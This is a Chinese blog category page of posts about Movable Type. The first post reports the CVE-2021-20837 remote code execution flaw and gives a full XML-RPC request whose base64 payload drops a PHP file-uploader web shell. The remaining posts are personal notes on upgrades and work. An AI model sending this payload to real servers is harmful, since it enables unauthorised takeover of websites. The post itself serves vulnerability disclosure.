Recently in MT相关 Category

Movable Type最近爆雷，攻击者可以通过SOAP协议的methodName中指定mt.handler_to_coderef来执行base64中的内容，如：

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>mt.handler_to_coderef</methodName>
<params>
<param>
<value>
<base64>
YGVjaG8gUEQ5d2FIQWdhV1lvSkY5UVQxTlVLWHRwWmloQVkyOXdlU2drWDBaSlRFVlRXeUl3SWwxYkluUnRjRjl1WVcxbElsMHNKRjlHU1V4RlUxc2lNQ0pkV3lKdVlXMWxJbDBwS1h0bFkyaHZJbGtpTzMxbGJITmxlMlZqYUc4aVRpSTdmWDFsYkhObGUyVmphRzhpUEdadmNtMGdiV1YwYUc5a1BYQnZjM1FnWlc1amRIbHdaVDF0ZFd4MGFYQmhjblF2Wm05eWJTMWtZWFJoUGp4cGJuQjFkQ0IwZVhCbFBXWnBiR1VnYm1GdFpUMHdQanhwYm5CMWRDQnVZVzFsUFRBZ2RIbHdaVDF6ZFdKdGFYUWdkbUZzZFdVOWRYQStJanQ5UHo0PSB8IGJhc2U2NCAtZCB8IHRlZSBmaWxlLXVwbG9hZGVyLnBocGA
</base64>
</value>
</param>
</params>
</methodCall>

官方最新版本(v7.9.0)已经修复。

详情见：https://medium.com/@TutorialBoy24/an-unauthenticated-rce-vulnerability-in-movabletype-cve-2021-20837-70664b159dd7

呵呵，易用性强了很多。

随着MT4 RC2出台，Style可以自己添加，比如我添加：http://www.sixapart.com/movabletype/styles/library 就能从官方站点导入许多好看的站点哦！

 MT Beta4刚出炉，我就以极快的速度更新了，发现官方对模板花费了不少功夫，越来越好看了。

Welcome to my new blog powered by Movable Type 4. This is the first post on my blog and was created for me automatically when I finished the installation process. But that is ok, because I will soon be creating posts of my own!

本来想把MT给整理整理的，的确没有时间。
免费的PHPWind博彩花了我一个周末来整理，也发现了PHPWind官方一些小问题，也许细心真能出效果。
开始对Perl进行一个小项目的开发，纯粹娱乐性，权当是给我练习OPP了，想原来学习Socket的时候，嘿嘿，心得颇多的哟~！ :)
看见办公室那一卷卷的工程图，我直皱眉头，最近几天看样子要不眠不夜了，为什么活要堆在一起呢？无奈之中……
其实郁闷的日子还是有点压力的，感觉充实一些，但是太累了，555~~~

一直没有时间,或者空间莫名其妙的问题,今天闲暇时终于把MT弄成3.33了,弄上了平生一笑的汉化包,自己太懒 :)

MT出新版本了，但是MT的代码就是没有时间看了，最近做一个项目，Discuz!的，不知道为什么，对PHP开始研究的多一些了，可能与最近做网页有关系吧~！

看了TW汉化作者的更新的内容，还有亲和性的东东，感觉学到不少。

经过Google和一些朋友的随笔，2003年见识过的MT被我放置在网站上做自己的活了。